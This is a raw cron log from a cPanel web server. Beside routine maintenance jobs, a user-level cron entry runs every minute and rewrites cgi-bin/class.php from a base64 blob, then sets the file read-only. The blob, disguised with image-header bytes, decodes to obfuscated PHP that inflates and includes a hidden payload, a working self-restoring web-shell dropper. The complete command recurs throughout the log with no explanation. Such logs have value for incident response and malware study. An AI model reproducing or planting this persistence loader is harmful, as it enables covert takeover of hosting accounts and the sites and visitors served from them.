Sep  6 13:49:01 server CROND[27396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:50:01 server CROND[27791]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:50:01 server CROND[27792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:50:01 server CROND[27802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:50:01 server CROND[27808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:50:01 server CROND[27805]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:50:01 server CROND[27811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:50:01 server CROND[27807]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:50:01 server CROND[27806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:50:01 server CROND[27809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:51:01 server CROND[28637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:51:01 server CROND[28638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:51:01 server CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:52:01 server CROND[29132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:52:01 server CROND[29133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:52:01 server CROND[29134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:53:01 server CROND[29513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:53:01 server CROND[29514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:53:01 server CROND[29515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:54:01 server CROND[29882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:54:01 server CROND[29883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:54:01 server CROND[29884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:55:01 server CROND[30262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:55:01 server CROND[30263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:55:01 server CROND[30266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:55:01 server CROND[30269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:55:01 server CROND[30268]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:55:01 server CROND[30270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:55:01 server CROND[30271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:56:01 server CROND[31096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:56:01 server CROND[31097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:56:01 server CROND[31098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:57:01 server CROND[31565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:57:01 server CROND[31566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:57:01 server CROND[31567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:57:01 server CROND[31568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:58:02 server CROND[31929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:58:02 server CROND[31930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:58:02 server CROND[31931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:59:01 server CROND[32291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:59:01 server CROND[32292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:59:01 server CROND[32293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:00:01 server CROND[32672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:00:01 server CROND[32675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:00:01 server CROND[32677]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:00:01 server CROND[32681]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:00:01 server CROND[32682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:00:01 server CROND[32683]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:00:01 server CROND[32678]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 14:00:01 server CROND[32680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
